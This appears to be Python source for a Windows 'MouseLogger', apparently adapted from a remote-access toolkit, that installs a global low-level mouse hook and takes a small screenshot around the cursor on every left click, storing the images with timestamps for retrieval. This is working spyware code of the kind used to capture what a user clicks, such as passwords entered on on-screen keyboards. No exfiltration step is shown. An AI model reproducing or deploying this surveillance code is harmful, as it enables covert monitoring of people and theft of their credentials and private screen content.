text: # Mostly stolen from Nicolas VERDIER (contact@n1nj4.eu)
  # Mostly stolen and recreated by golind
  import sys
  from ctypes import *
  from ctypes.wintypes import MSG
  from ctypes.wintypes import DWORD
  import threading
  import time
  import datetime
  
  from ctypes import (
  	byref, memset, pointer, sizeof, windll,
  	c_void_p as LPRECT,
  	c_void_p as LPVOID,
  	create_string_buffer,
  	Structure,
  	POINTER,
  	WINFUNCTYPE,
  )
  import ctypes.wintypes
  from ctypes.wintypes import (
  	BOOL, DOUBLE, DWORD, HANDLE, HBITMAP, HDC, HGDIOBJ,
  	HWND, INT, LPARAM, LONG,RECT,SHORT, UINT, WORD
  )
  
  class BITMAPINFOHEADER(Structure):
  	_fields_ = [
  		('biSize',		  DWORD),
  		('biWidth',		 LONG),
  		('biHeight',		LONG),
  		('biPlanes',		WORD),
  		('biBitCount',	  WORD),
  		('biCompression',   DWORD),
  		('biSizeImage',	 DWORD),
  		('biXPelsPerMeter', LONG),
  		('biYPelsPerMeter', LONG),
  		('biClrUsed',	   DWORD),
  		('biClrImportant',  DWORD)
  	]
  
  class BITMAPINFO(Structure):
  	_fields_ = [
  		('bmiHeader', BITMAPINFOHEADER),
  		('bmiColors', DWORD * 3)
  	]
  
  # http://nullege.com/codes/show/src@m@o@mozharness-HEAD@external_tools@mouse_and_screen_resolution.py/114/ctypes.windll.user32.GetCursorPos
  from ctypes import windll, Structure, c_ulong, byref
  
  class POINT(Structure):
  	_fields_ = [("x", c_ulong), ("y", c_ulong)]
  
  def queryMousePosition():
  	pt = POINT()
  	windll.user32.GetCursorPos(byref(pt))
  	return { "x": pt.x, "y": pt.y}
  
  user32 = windll.user32
  kernel32 = windll.kernel32
  WH_MOUSE_LL=14
  WM_MOUSEFIRST=0x0200
  
  
  # Initilisations
  SM_XVIRTUALSCREEN = 76
  SM_YVIRTUALSCREEN = 77
  SM_CXVIRTUALSCREEN = 78
  SM_CYVIRTUALSCREEN = 79
  SRCCOPY = 0xCC0020  # Code de copie pour la fonction BitBlt()##
  DIB_RGB_COLORS = 0
  
  GetSystemMetrics = windll.user32.GetSystemMetrics##
  EnumDisplayMonitors = windll.user32.EnumDisplayMonitors
  GetWindowDC = windll.user32.GetWindowDC
  CreateCompatibleDC = windll.gdi32.CreateCompatibleDC
  CreateCompatibleBitmap = windll.gdi32.CreateCompatibleBitmap
  SelectObject = windll.gdi32.SelectObject
  BitBlt = windll.gdi32.BitBlt
  GetDIBits = windll.gdi32.GetDIBits
  DeleteObject = windll.gdi32.DeleteObject
  
  # Type des arguments
  MONITORENUMPROC = WINFUNCTYPE(INT, DWORD, DWORD,
  	POINTER(RECT), DOUBLE)
  GetSystemMetrics.argtypes = [INT]
  EnumDisplayMonitors.argtypes = [HDC, LPRECT, MONITORENUMPROC, LPARAM]
  GetWindowDC.argtypes = [HWND]
  CreateCompatibleDC.argtypes = [HDC]
  CreateCompatibleBitmap.argtypes = [HDC, INT, INT]
  SelectObject.argtypes = [HDC, HGDIOBJ]
  BitBlt.argtypes = [HDC, INT, INT, INT, INT, HDC, INT, INT, DWORD]
  DeleteObject.argtypes = [HGDIOBJ]
  GetDIBits.argtypes = [HDC, HBITMAP, UINT, UINT, LPVOID,
  	POINTER(BITMAPINFO), UINT]
  
  # Type de fonction
  GetSystemMetrics.restypes = INT
  EnumDisplayMonitors.restypes = BOOL
  GetWindowDC.restypes = HDC
  CreateCompatibleDC.restypes = HDC
  CreateCompatibleBitmap.restypes = HBITMAP
  SelectObject.restypes = HGDIOBJ
  BitBlt.restypes =  BOOL
  GetDIBits.restypes = INT
  DeleteObject.restypes = BOOL
  
  class MouseLogger(threading.Thread):
  	def __init__(self, *args, **kwargs):
  		threading.Thread.__init__(self, *args, **kwargs)
  		self.hooked  = None
  		self.daemon=True
  		self.lUser32=user32
  		self.pointer=None
  		self.stopped=False
  		self.screenshots=[]
  
  	def run(self):
  		if self.install_hook():
  			print "mouselogger installed"
  		else:
  			raise RuntimeError("couldn't install mouselogger")
  		msg = MSG()
  		user32.GetMessageA(byref(msg),0,0,0)
  		while not self.stopped:
  			time.sleep(1)
  		self.uninstall_hook()
  			
  	def stop(self):
  		self.stopped=True
  
  	def retrieve_screenshots(self):
  		screenshot_list=self.screenshots
  		self.screenshots=[]
  		return screenshot_list
  
  	def get_screenshot(self):
  		pos = queryMousePosition()
  
  		limit_width = GetSystemMetrics(SM_CXVIRTUALSCREEN)
  		limit_height = GetSystemMetrics(SM_CYVIRTUALSCREEN)
  		limit_left = GetSystemMetrics(SM_XVIRTUALSCREEN)
  		limit_top = GetSystemMetrics(SM_YVIRTUALSCREEN)
  
  		height = min(100,limit_height)
  		width = min(200,limit_width)
  		left = max(pos['x']-100,limit_left)
  		top = max(pos['y']-50,limit_top)
  
  		srcdc = GetWindowDC(0)
  		memdc = CreateCompatibleDC(srcdc)
  		bmp = CreateCompatibleBitmap(srcdc, width, height)
  		try:
  			SelectObject(memdc, bmp)
  			BitBlt(memdc, 0, 0, width, height, srcdc, left, top, SRCCOPY)
  			bmi = BITMAPINFO()
  			bmi.bmiHeader.biSize = sizeof(BITMAPINFOHEADER)
  			bmi.bmiHeader.biWidth = width
  			bmi.bmiHeader.biHeight = height
  			bmi.bmiHeader.biBitCount = 24
  			bmi.bmiHeader.biPlanes = 1
  			buffer_len = height * ((width * 3 + 3) & -4)
  			pixels = create_string_buffer(buffer_len)
  			bits = GetDIBits(memdc, bmp, 0, height, byref(pixels),
  				pointer(bmi), DIB_RGB_COLORS)
  		finally:
  			DeleteObject(srcdc)
  			DeleteObject(memdc)
  			DeleteObject(bmp)
  
  		if bits != height or len(pixels.raw) != buffer_len:
  			raise ValueError('MSSWindows: GetDIBits() failed.')
  
  		return pixels.raw, height, width
  
  
  	def install_hook(self):
  		CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
  		self.pointer = CMPFUNC(self.hook_proc)
  		self.hooked = self.lUser32.SetWindowsHookExA(WH_MOUSE_LL, self.pointer, kernel32.GetModuleHandleW(None), 0)
  		if not self.hooked:
  			return False
  		return True
  	
  	def uninstall_hook(self):
  		if self.hooked is None:
  			return
  		self.lUser32.UnhookWindowsHookEx(self.hooked)
  		self.hooked = None
  
  	def hook_proc(self, nCode, wParam, lParam):
  		##http://www.pinvoke.net/default.aspx/Constants.WM
  		if wParam == 0x201:
  			buf, height, width = self.get_screenshot()
  			self.screenshots.append((datetime.datetime.now(), height, width, buf))
  		return user32.CallNextHookEx(self.hooked, nCode, wParam, lParam)
  
  if __name__=="__main__":
  	ml = MouseLogger()
  	ml.start()
  	while True:
  		time.sleep(5)
  		for d, height, width, buf in ml.retrieve_screenshots():
  			print "screenshot of %s/%s taken at %s (%s bytes)"%(height, width, d, len(buf))
  